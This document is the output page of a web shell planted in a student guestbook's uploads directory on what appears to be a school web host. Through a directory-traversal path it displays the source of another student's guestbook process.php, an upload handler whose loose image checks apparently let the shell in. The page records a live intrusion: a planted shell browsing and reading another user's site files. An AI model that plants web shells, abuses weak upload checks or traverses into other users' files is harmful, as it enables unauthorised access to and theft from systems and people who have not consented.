🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ../../../../563892.klas4s23.mid-ica.nl/public_html/gastenboek/process.php

<?php
// Include the database connection file
require_once('connection.php');

// Check if the form has already been submitted in this session
session_start();
if(isset($_SESSION['form_submitted']) && $_SESSION['form_submitted'] === true) {
    header("Location: index.php?error=not_image&message=You already submitted a message.");
    exit();
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    try {
        // Get user input
        $name = filter_var($_POST["name"], FILTER_SANITIZE_STRING);
        $comment = filter_var($_POST["comment"], FILTER_SANITIZE_STRING);

        // Handle image upload
        $targetDirectory = "uploads/";
        if($_FILES["image"]["size"] > 0){
            $targetFile = $targetDirectory . basename($_FILES["image"]["name"]);

            // Check if image file is a actual image or fake image
            $check = getimagesize($_FILES["image"]["tmp_name"]);
            if ($check === false) {
                header("Location: index.php?error=not_image&message=The uploaded file was not an image.");
                exit();
            }

            // Allow certain file formats
            $imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
            if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif") {
                header("Location: index.php?error=invalid_format&message=The uploaded file does not have the correct image extension.");
                exit();
            }

            move_uploaded_file($_FILES["image"]["tmp_name"], $targetFile);
        }
        

        // Get the current date and time
        $submissionTime = date("Y-m-d H:i:s");

        // Prepare and execute SQL statement to insert data into the database
        $stmt = $pdo->prepare("INSERT INTO guestbook (gasten_naam, gasten_bericht, gasten_foto, gasten_datum) VALUES (:name, :comment, :image, :submission_time)");
        $stmt->bindParam(':name', $name);
        $stmt->bindParam(':comment', $comment);
        $stmt->bindParam(':image', $targetFile);
        $stmt->bindParam(':submission_time', $submissionTime);
        $stmt->execute();

        // Mark the form as submitted in the session
        $_SESSION['form_submitted'] = true;

        // Redirect back to guestbook
        header("Location: index.php");
        exit();
    } catch (PDOException $e) {
        echo "Error: " . $e->getMessage();
    }
}
?>

🎯 Available Actions